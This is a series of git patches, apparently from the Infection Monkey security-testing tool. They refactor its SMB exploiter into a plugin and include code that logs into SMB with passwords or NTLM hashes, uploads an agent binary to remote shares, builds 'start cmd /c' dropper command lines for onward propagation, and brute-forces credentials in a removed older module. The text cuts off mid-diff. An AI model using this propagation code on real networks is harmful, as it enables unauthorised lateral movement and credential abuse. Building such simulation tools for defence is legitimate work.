share_path) + Side effect: the SMBConnection is connected to the share""" + # Attempt to connect to a share over SMB + for remote_path, share in shares: + share_name = share["share_name"] + share_path = share["share_path"] + + # TODO: Do we really need to handle reconnects? + if not smb: + smb = self.connect_with_user(host, credentials) + if not smb: + break + + try: + smb.connectTree(share_name) + except Exception as exc: + logger.error( + f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' + ) + continue + + yield remote_path, share_name, share_path + + def connect_with_user(self, host: TargetHost, credentials: Credentials): + smb = SMB.create_connection(host) + if not smb: + return None + + smb_connection = SMB.login(smb, credentials) + if not smb_connection: + return None + + return smb_connection + + def copy_agent_binary( + self, + agent_binary: BytesIO, + host: TargetHost, + smb: SMBConnection, + remote_path: str, + share_name: str, + share_path: str, + ) -> Optional[str]: + logger.debug( + f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", + share_path, + remote_path, + ) + + try: + # TODO: Use config timeout value + # smb.setTimeout(timeout) + smb.putFile(share_name, remote_path, agent_binary.read) + + logger.info( + f"Copied monkey agent to remote share '{share_name}' " + f"[{share_path}] on victim {host}" + ) + + return ntpath.join(share_path, remote_path.strip(ntpath.sep)) + except Exception as exc: + logger.error(f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}") + return None + + def run_agent(self, host, path: str): + # - Create RPC connection + # - Build agent run command + # - Use RPC to run the agent on the victim + pass + + +def secret_for_type(credentials: Credentials, secret_type: Type) -> str: + return get_plaintext(credentials.secret) if type(credentials.secret) == secret_type else "" + + +class SMB: + @classmethod + def create_connection(self, host: TargetHost) -> SMBConnection: + # Create a SMB connection with the credentials + try: + return SMBConnection( + str(host.ip), str(host.ip), sess_port=445, preferredDialect=SMB_DIALECT + ) + except Exception as err: + logger.debug( + f"Failed to create SMB connection to {host} on port 445. Trying port 139: {err}" + ) + + try: + return SMBConnection("*SMBSEVER", str(host.ip), sess_port=139) + except Exception as err: + logger.debug(f"Failed to create SMB connection to {host} on port 139: {err}") + return None + + @classmethod + def get_dialect(self, smb: SMBConnection) -> str: + return { + SMB_DIALECT: "SMBv1", + SMB2_DIALECT_002: "SMBv2.0", + SMB2_DIALECT_21: "SMBv2.1", + }.get(smb.getDialect(), "SMBv3.0") + + @classmethod + def login(self, smb: SMBConnection, credentials: Credentials) -> bool: + """True if login succeeded, False otherwise""" + try: + smb.login( + credentials.identity, + secret_for_type(credentials, Password), + "", + secret_for_type(credentials, LMHash), + secret_for_type(credentials, NTHash), + ) + except Exception as err: + logger.debug(f"Failed to login to with user {credentials.identity}: {err}") + return False + return True + + @classmethod + def logout_guest(self, smb: SMBConnection) -> bool: + if smb.isGuestSession() > 0: + try: + smb.logoff() + except Exception: + # TODO: If we failed to logout, we should handle that + pass + + return True + return False + + @classmethod + def query_server_info(self, smb: SMBConnection): + try: + info = SMB.execute_rpc_call(smb, "hNetrServerGetInfo", 102) + except Exception as err: + logger.debug(f"Failed to query server info: {err}") + return None + + return info + + @classmethod + def query_shared_resources(self, smb: SMBConnection): + try: + shares = SMB.execute_rpc_call(smb, "hNetrShareEnum", 2) + except Exception as err: + logger.debug(f"Failed to query shared resources: {err}") + return None + + return shares + + @staticmethod + def execute_rpc_call(smb, rpc_func, *args): + dce = SMB.get_dce_bind(smb) + rpc_method_wrapper = getattr(srvs, rpc_func, None) + if not rpc_method_wrapper: + raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) + + return rpc_method_wrapper(dce, *args) + + @staticmethod + def get_dce_bind(smb: SMBConnection) -> DCERPC_v5: + rpctransport = transport.SMBTransport( + smb.getRemoteHost(), smb.getRemoteHost(), filename=r"\srvsvc", smb_connection=smb + ) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + return dce From 6eae775a8b7d29dbfb03ff061cd7d33c2ff16369 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 13 Mar 2023 18:08:39 +0530 Subject: [PATCH 0709/1338] SMB: Parse exploiter options --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 9d389dbad56..6d49a040065 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -13,6 +13,9 @@ from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository +from .smb_options import SMBOptions + + logger = logging.getLogger(__name__) @@ -48,7 +51,7 @@ def run( try: logger.debug(f"Parsing options: {pformat(options)}") - # TODO: Parse options + smb_options = SMBOptions(**options) except Exception as err: msg = f"Failed to parse SMB options: {err}" logger.exception(msg) From 25f6ae9930b03f198699857710cc54a41adbe137 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 13 Mar 2023 18:11:40 +0530 Subject: [PATCH 0710/1338] SMB: Initialize exploiter The exploit client doesn't exist yet so this won't work right now --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 6d49a040065..b4eeb911995 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -13,6 +13,8 @@ from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository +from .smb_exploit_client import SMBExploitClient +from .smb_exploiter import SMBExploiter from .smb_options import SMBOptions @@ -30,11 +32,10 @@ def __init__( propagation_credentials_repository: IPropagationCredentialsRepository, **kwargs, ): - # TODO: Initialize exploiter - self._agent_event_publisher = agent_event_publisher - self._agent_binary_repository = agent_binary_repository - self._propagation_credentials_repository = propagation_credentials_repository - self._credentials = propagation_credentials_repository.get_credentials() + credentials = propagation_credentials_repository.get_credentials() + smb_exploit_client = SMBExploitClient(agent_id, agent_event_publisher, credentials) + + self._smb_exploiter = SMBExploiter(smb_exploit_client, agent_binary_repository) def run( self, From 171493bb59cc4cbf0274b5dc30344e7904d707ec Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 13 Mar 2023 18:12:38 +0530 Subject: [PATCH 0711/1338] SMB: Add logic to run exploiter The exploit client doesn't exist yet so this won't work right now --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index b4eeb911995..241f6f83351 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -17,7 +17,6 @@ from .smb_exploiter import SMBExploiter from .smb_options import SMBOptions - logger = logging.getLogger(__name__) @@ -60,7 +59,9 @@ def run( try: logger.debug(f"Running SMB exploiter on host {host.ip}") - # TODO: Run exploiter + return self._smb_exploiter.exploit_host( + host, servers, current_depth, smb_options, interrupt + ) except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) From a15e091b79e32b835e6ab799c732b952261efba2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 13 Mar 2023 14:21:33 +0100 Subject: [PATCH 0712/1338] UT: Add SMB plugin tests --- .../exploiters/smb/test_smb_plugin.py | 109 ++++++++++++++++++ 1 file changed, 109 insertions(+) create mode 100644 monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py new file mode 100644 index 00000000000..c1e91d906c8 --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_plugin.py @@ -0,0 +1,109 @@ +from ipaddress import IPv4Address +from threading import Event +from unittest.mock import MagicMock +from uuid import UUID + +import pytest +from agent_plugins.exploiters.smb.src.plugin import Plugin +from agent_plugins.exploiters.smb.src.smb_exploiter import SMBExploiter + +from common import OperatingSystem +from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository + +AGENT_ID = UUID("5c145d4e-ec61-44f7-998e-17477112f50f") +BAD_SMB_OPTIONS_DICT = {"blah": "blah"} +TARGET_IP = IPv4Address("1.1.1.1") +TARGET_HOST = TargetHost(ip=TARGET_IP, operating_system=OperatingSystem.WINDOWS) +SERVERS = ["10.10.10.10"] +EXPLOITER_RESULT_DATA = ExploiterResultData(True, False, error_message="Test error") + + +@pytest.fixture +def propagation_credentials_repository(): + return MagicMock(spec=IPropagationCredentialsRepository) + + +class MockSMBExploiter(SMBExploiter): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + def exploit_host(self, *args, **kwargs) -> ExploiterResultData: + return EXPLOITER_RESULT_DATA + + +class ErrorRaisingMockSMBExploiter(SMBExploiter): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + def exploit_host(self, *args, **kwargs) -> ExploiterResultData: + raise Exception("Test error") + + +@pytest.fixture +def plugin( + monkeypatch, propagation_credentials_repository: IPropagationCredentialsRepository +) -> Plugin: + monkeypatch.setattr("agent_plugins.exploiters.smb.src.plugin.SMBExploiter", MockSMBExploiter) + + return Plugin( + plugin_name="SMB", + agent_id=AGENT_ID, + agent_event_publisher=MagicMock(), + agent_binary_repository=MagicMock(), + propagation_credentials_repository=propagation_credentials_repository, + ) + + +def test_run__fails_on_bad_options(plugin: Plugin): + result = plugin.run( + host=TARGET_HOST, + servers=SERVERS, + current_depth=1, + options=BAD_SMB_OPTIONS_DICT, + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success + + +def test_run__returns_exploiter_result_data(plugin: Plugin): + result = plugin.run( + host=TARGET_HOST, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + assert result == EXPLOITER_RESULT_DATA + + +def test_run__exploit_host_raises_exception( + monkeypatch, + plugin: Plugin, + propagation_credentials_repository: IPropagationCredentialsRepository, +): + monkeypatch.setattr( + "agent_plugins.exploiters.smb.src.plugin.SMBExploiter", + ErrorRaisingMockSMBExploiter, + ) + + plugin = Plugin( + plugin_name="SMB", + agent_id=AGENT_ID, + agent_event_publisher=MagicMock(), + agent_binary_repository=MagicMock(), + propagation_credentials_repository=propagation_credentials_repository, + ) + result = plugin.run( + host=TARGET_HOST, + servers=SERVERS, + current_depth=1, + options={}, + interrupt=Event(), + ) + + assert not result.exploitation_success + assert not result.propagation_success From 12eba09a1caf66f223dcdfa00be375218905eeb6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 13 Mar 2023 18:52:01 +0530 Subject: [PATCH 0713/1338] SMB: Add command builder --- .../exploiters/smb/src/smb_command_builder.py | 36 +++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py new file mode 100644 index 00000000000..fafadabc089 --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py @@ -0,0 +1,36 @@ +from pathlib import PurePath +from typing import Sequence + +from infection_monkey.model import CMD_PREFIX, DROPPER_ARG, MONKEY_ARG +from infection_monkey.utils.commands import build_monkey_commandline + +DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % ( + CMD_PREFIX, + DROPPER_ARG, +) +MONKEY_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(monkey_path)s %s" % ( + CMD_PREFIX, + MONKEY_ARG, +) + + +def build_smb_command( + servers: Sequence[str], + current_depth: int, + remote_agent_binary_full_path: str, + remote_agent_binary_destination_path: PurePath, +) -> str: + if remote_agent_binary_full_path.lower() != str(remote_agent_binary_destination_path).lower(): + cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { + "dropper_path": remote_agent_binary_full_path + } + build_monkey_commandline( + servers, + current_depth + 1, + str(remote_agent_binary_destination_path), + ) + else: + cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { + "monkey_path": remote_agent_binary_full_path + } + build_monkey_commandline(servers, current_depth + 1) + + return cmdline From a5bedca0862c9f5f5228fa79a9e697a88e9c879a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 13 Mar 2023 18:53:17 +0530 Subject: [PATCH 0714/1338] Agent: Remove constants from model/__init__.py used only in the SMB exploiter --- monkey/infection_monkey/model/__init__.py | 8 -------- 1 file changed, 8 deletions(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 313fd062549..0ed14fc014f 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -20,14 +20,6 @@ CMD_PREFIX, MONKEY_ARG, ) -DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % ( - CMD_PREFIX, - DROPPER_ARG, -) -MONKEY_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(monkey_path)s %s" % ( - CMD_PREFIX, - MONKEY_ARG, -) # Commands used for downloading monkeys POWERSHELL_HTTP_UPLOAD = ( From ab9794dfcc2508fa694097a1d9e8a90a5e3448fc Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 13 Mar 2023 14:24:39 +0000 Subject: [PATCH 0715/1338] SMB: Use f-strings to build command --- .../exploiters/smb/src/smb_command_builder.py | 29 +++++++------------ 1 file changed, 11 insertions(+), 18 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py index fafadabc089..43f00844cba 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py @@ -4,15 +4,6 @@ from infection_monkey.model import CMD_PREFIX, DROPPER_ARG, MONKEY_ARG from infection_monkey.utils.commands import build_monkey_commandline -DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % ( - CMD_PREFIX, - DROPPER_ARG, -) -MONKEY_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(monkey_path)s %s" % ( - CMD_PREFIX, - MONKEY_ARG, -) - def build_smb_command( servers: Sequence[str], @@ -21,16 +12,18 @@ def build_smb_command( remote_agent_binary_destination_path: PurePath, ) -> str: if remote_agent_binary_full_path.lower() != str(remote_agent_binary_destination_path).lower(): - cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { - "dropper_path": remote_agent_binary_full_path - } + build_monkey_commandline( - servers, - current_depth + 1, - str(remote_agent_binary_destination_path), + cmdline = ( + f"{CMD_PREFIX} start cmd /c {remote_agent_binary_full_path} {DROPPER_ARG}" + + build_monkey_commandline( + servers, + current_depth + 1, + str(remote_agent_binary_destination_path), + ) ) else: - cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { - "monkey_path": remote_agent_binary_full_path - } + build_monkey_commandline(servers, current_depth + 1) + cmdline = ( + f"{CMD_PREFIX} start cmd /c {remote_agent_binary_full_path} {MONKEY_ARG}" + + build_monkey_commandline(servers, current_depth + 1) + ) return cmdline From f7cb1c0a47e93bcf5234cbb212f0e63a6c4816d4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 13:23:20 +0530 Subject: [PATCH 0716/1338] SMB: Remove 'use_kerberos' option --- monkey/agent_plugins/exploiters/smb/config-schema.json | 8 -------- monkey/agent_plugins/exploiters/smb/src/smb_options.py | 3 --- 2 files changed, 11 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/config-schema.json b/monkey/agent_plugins/exploiters/smb/config-schema.json index 991675de4c7..bf98e7a0d59 100644 --- a/monkey/agent_plugins/exploiters/smb/config-schema.json +++ b/monkey/agent_plugins/exploiters/smb/config-schema.json @@ -1,7 +1,6 @@ { "required": [ "agent_binary_upload_timeout", - "use_kerberos", "smb_connect_timeout" ], @@ -14,13 +13,6 @@ "default": 30.0, "maximum": 100.0 }, - "use_kerberos": { - "title": "Use Kerberos for authentication", - "description": "Use Kerberos authentication for RPC transport.", - "type": "boolean", - "default": false - }, - "smb_connect_timeout": { "title": "SMB connection timeout", "description": "The maximum time (in seconds) to wait for a response on an SMB connection.", diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_options.py b/monkey/agent_plugins/exploiters/smb/src/smb_options.py index 0dcbe51e852..d0f7a31991a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_options.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_options.py @@ -11,9 +11,6 @@ class SMBOptions(InfectionMonkeyBaseModel): description="The timeout (in seconds) for uploading the Agent binary" " to the target machine.", ) - use_kerberos: bool = Field( - default=False, description="Use Kerberos authentication for RPC transport." - ) smb_connect_timeout: float = Field( default=15.0, gt=0.0, From e149d2877e1c1b170f2ad464af181173e2e2a0f0 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 13:24:11 +0530 Subject: [PATCH 0717/1338] UT: Remove reference to 'use_kerberos' in SMBOptions tests --- .../agent_plugins/exploiters/smb/test_smb_options.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py index b967ada52c4..cd77a4a5214 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_options.py @@ -3,20 +3,17 @@ from agent_plugins.exploiters.smb.src.smb_options import SMBOptions UPLOAD_TIMEOUT = 12.4 -USE_KERBEROS = True SMB_CONNECT_TIMEOUT = 42.1 SMB_OPTIONS_DICT = { "agent_binary_upload_timeout": UPLOAD_TIMEOUT, - "use_kerberos": USE_KERBEROS, "smb_connect_timeout": SMB_CONNECT_TIMEOUT, } SMB_OPTIONS_OBJECT = SMBOptions( agent_binary_upload_timeout=UPLOAD_TIMEOUT, - use_kerberos=USE_KERBEROS, smb_connect_timeout=SMB_CONNECT_TIMEOUT, ) @@ -40,7 +37,6 @@ def test_smb_options__default(): smb_options = SMBOptions() assert smb_options.agent_binary_upload_timeout == 30.0 - assert smb_options.use_kerberos is False assert smb_options.smb_connect_timeout == 15.0 From e055dd564e67d8803f351b3a5845e48498767dc7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 13:24:40 +0530 Subject: [PATCH 0718/1338] Project: Remove Vulture allowlist entry that no longer exists --- vulture_allowlist.py | 1 - 1 file changed, 1 deletion(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 3637939d968..97600a58f2e 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -144,7 +144,6 @@ secret_type_filter SMBOptions.agent_binary_upload_timeout -SMBOptions.use_kerberos SMBOptions.smb_connect_timeout # Remove after #3077 From 735628e5b470543bcf2db99569a0a410f14781e0 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 13:33:41 +0530 Subject: [PATCH 0719/1338] BB: Update SMB exploiter configurations to what the SMB plugin expects Issue: #2952 PR: #3107 --- envs/monkey_zoo/blackbox/test_configurations/depth_1_a.py | 2 +- envs/monkey_zoo/blackbox/test_configurations/smb_pth.py | 2 +- envs/monkey_zoo/blackbox/test_configurations/zerologon.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/envs/monkey_zoo/blackbox/test_configurations/depth_1_a.py b/envs/monkey_zoo/blackbox/test_configurations/depth_1_a.py index f6ffb04289b..a105e1b4aed 100644 --- a/envs/monkey_zoo/blackbox/test_configurations/depth_1_a.py +++ b/envs/monkey_zoo/blackbox/test_configurations/depth_1_a.py @@ -34,7 +34,7 @@ def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfigurati }, "Log4ShellExploiter": {}, "MSSQLExploiter": {}, - "SMBExploiter": {"smb_download_timeout": 30}, + "SMB": {"agent_binary_upload_timeout": 30, "smb_connect_timeout": 15}, } return add_exploiters(agent_configuration, exploiters=exploiters) diff --git a/envs/monkey_zoo/blackbox/test_configurations/smb_pth.py b/envs/monkey_zoo/blackbox/test_configurations/smb_pth.py index 809ab2b5a80..70667942cd4 100644 --- a/envs/monkey_zoo/blackbox/test_configurations/smb_pth.py +++ b/envs/monkey_zoo/blackbox/test_configurations/smb_pth.py @@ -18,7 +18,7 @@ def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration: exploiters: Dict[str, Mapping] = { - "SMBExploiter": {"smb_download_timeout": 30}, + "SMB": {"agent_binary_upload_timeout": 30, "smb_connect_timeout": 15}, } return add_exploiters(agent_configuration, exploiters=exploiters) diff --git a/envs/monkey_zoo/blackbox/test_configurations/zerologon.py b/envs/monkey_zoo/blackbox/test_configurations/zerologon.py index e94430efb11..1434b6c7f75 100644 --- a/envs/monkey_zoo/blackbox/test_configurations/zerologon.py +++ b/envs/monkey_zoo/blackbox/test_configurations/zerologon.py @@ -16,7 +16,7 @@ def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration: exploiters: Dict[str, Mapping] = { "ZerologonExploiter": {}, - "SMBExploiter": {"smb_download_timeout": 30}, + "SMB": {"agent_binary_upload_timeout": 30, "smb_connect_timeout": 15}, } return add_exploiters(agent_configuration, exploiters) From 38b4196ff51c83f3289fc783171e1a4a75730e6e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Mar 2023 18:55:17 +0100 Subject: [PATCH 0720/1338] Common: Remove hard-coded SMBExploiter --- .../default_agent_configuration.py | 1 - .../hard_coded_exploiter_manifests.py | 15 --------------- 2 files changed, 16 deletions(-) diff --git a/monkey/common/agent_configuration/default_agent_configuration.py b/monkey/common/agent_configuration/default_agent_configuration.py index b50cb57a40b..0c65888f439 100644 --- a/monkey/common/agent_configuration/default_agent_configuration.py +++ b/monkey/common/agent_configuration/default_agent_configuration.py @@ -77,7 +77,6 @@ "MSSQLExploiter": {}, "PowerShellExploiter": {}, "SSHExploiter": {}, - "SMBExploiter": {"smb_download_timeout": 30}, "WmiExploiter": {"smb_download_timeout": 30}, } diff --git a/monkey/common/hard_coded_manifests/hard_coded_exploiter_manifests.py b/monkey/common/hard_coded_manifests/hard_coded_exploiter_manifests.py index 161104c9cc0..2fca58e169f 100644 --- a/monkey/common/hard_coded_manifests/hard_coded_exploiter_manifests.py +++ b/monkey/common/hard_coded_manifests/hard_coded_exploiter_manifests.py @@ -43,21 +43,6 @@ "This attack was possible due to an old version of Apache Log4j component " "([CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)).", ), - "SMBExploiter": AgentPluginManifest( - name="SMBExploiter", - plugin_type=AgentPluginType.EXPLOITER, - supported_operating_systems=(OperatingSystem.LINUX, OperatingSystem.WINDOWS), - target_operating_systems=(OperatingSystem.WINDOWS,), - title="SMB Exploiter", - version="1.0.0", - description="Attempts a brute-force attack against SMB using known credentials", - link_to_documentation="https://techdocs.akamai.com/infection-monkey/docs/smbexec/", - safe=True, - remediation_suggestion="Change user passwords to a complex one-use password that is not " - "shared with other computers on the network.\n\n" - "The machine is vulnerable to an SMB attack.\n" - "An Infection Monkey Agent authenticated over the SMB protocol.", - ), "PowerShellExploiter": AgentPluginManifest( name="PowerShellExploiter", plugin_type=AgentPluginType.EXPLOITER, From aefb9e873e1ce1ce9bf69ed32eea888cc8a7df3f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Mar 2023 18:55:49 +0100 Subject: [PATCH 0721/1338] Island: Remove hard-coded SMBExploiter schema --- .../hard_coded_exploiter_schemas.py | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_exploiter_schemas.py b/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_exploiter_schemas.py index 5d9e34a639b..63f630cc947 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_exploiter_schemas.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_exploiter_schemas.py @@ -7,19 +7,6 @@ "type": "object", "properties": {}, }, - "SMBExploiter": { - "type": "object", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "description": "Maximum time allowed for uploading the Agent binary to the target", - "type": "number", - "default": 30, - "minimum": 0, - "maximum": 100, - } - }, - }, "PowerShellExploiter": { "type": "object", "properties": {}, From 12fc1b7866d0db70e4138fd16dfd96acfed09c1a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Mar 2023 18:56:39 +0100 Subject: [PATCH 0722/1338] Agent: Remove hard-coded SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 267 ------------------ monkey/infection_monkey/master/exploiter.py | 2 - monkey/infection_monkey/monkey.py | 4 - .../configuration_validation_constants.py | 17 -- .../infection_monkey/master/test_exploiter.py | 1 - 5 files changed, 291 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/smbexec.py diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py deleted file mode 100644 index 67848148c68..00000000000 --- a/monkey/infection_monkey/exploit/smbexec.py +++ /dev/null @@ -1,267 +0,0 @@ -from dataclasses import dataclass -from logging import getLogger -from pathlib import PurePath -from time import time -from typing import Optional, Tuple - -from impacket.dcerpc.v5 import scmr, transport -from impacket.dcerpc.v5.rpcrt import DCERPC_v5 -from impacket.dcerpc.v5.scmr import DCERPCSessionError - -from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT -from common.credentials import get_plaintext -from common.tags import ( - T1021_ATTACK_TECHNIQUE_TAG, - T1105_ATTACK_TECHNIQUE_TAG, - T1110_ATTACK_TECHNIQUE_TAG, - T1210_ATTACK_TECHNIQUE_TAG, - T1569_ATTACK_TECHNIQUE_TAG, -) -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.exploit.tools.smb_tools import SmbTools -from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS -from infection_monkey.utils.brute_force import ( - generate_brute_force_combinations, - get_credential_string, -) -from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.threading import interruptible_iter - -logger = getLogger(__name__) -SMBEXEC_EXPLOITER_TAG = "smbexec-exploiter" - - -@dataclass -class SelectedCredentials: - user: str - password: str - lm_hash: str - ntlm_hash: str - - -class SMBExploiter(HostExploiter): - _EXPLOITED_SERVICE = "SMB" - KNOWN_PROTOCOLS = { - "139/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 139), - "445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445), - } - USE_KERBEROS = False - SMB_SERVICE_NAME = "InfectionMonkey" - _EXPLOITER_TAGS = ( - SMBEXEC_EXPLOITER_TAG, - T1021_ATTACK_TECHNIQUE_TAG, - T1110_ATTACK_TECHNIQUE_TAG, - T1210_ATTACK_TECHNIQUE_TAG, - ) - _PROPAGATION_TAGS = ( - SMBEXEC_EXPLOITER_TAG, - T1021_ATTACK_TECHNIQUE_TAG, - T1105_ATTACK_TECHNIQUE_TAG, - T1210_ATTACK_TECHNIQUE_TAG, - T1569_ATTACK_TECHNIQUE_TAG, - ) - - def _exploit_host(self): - - dest_path = get_agent_dst_path(self.host) - remote_full_path, creds, timestamp = self._exploit(dest_path) - - if not self.exploit_result.exploitation_success: - if not self._is_interrupted(): - logger.debug("Exploiter SmbExec is giving up...") - self.exploit_result.error_message = "Failed to authenticate to the victim over SMB" - - return self.exploit_result - - # execute the remote dropper in case the path isn't final - cmdline = self._get_agent_command(remote_full_path, dest_path) - - scmr_rpc = self._get_rpc_connection(creds) - - if not scmr_rpc: - error_message = "Failed to establish an RPC connection over SMB" - - self._publish_propagation_event(timestamp, False, error_message=error_message) - - logger.warning(error_message) - self.exploit_result.error_message = error_message - - return self.exploit_result - - if not self._run_agent_on_victim(scmr_rpc, cmdline, timestamp): - return self.exploit_result - - logger.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, - self.host, - cmdline, - ) - self.exploit_result.propagation_success = True - - self.add_vuln_port( - "%s or %s" - % ( - SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], - ) - ) - return self.exploit_result - - def _exploit( - self, dest_path: PurePath - ) -> Tuple[Optional[str], Optional[SelectedCredentials], Optional[float]]: - agent_binary = self.agent_binary_repository.get_agent_binary(self.host.operating_system) - - creds = list(generate_brute_force_combinations(self.options["credentials"])) - if len(creds) == 0: - error_message = "SMB exploiter not attempted since no credentials were provided" - logger.error(error_message) - self._publish_exploitation_event( - time=time(), - success=False, - error_message=error_message, - ) - return None, None, None - - remote_full_path = None - for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt): - creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) - - timestamp = time() - try: - # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file( - self.host, - agent_binary, - dest_path, - user, - password, - lm_hash, - 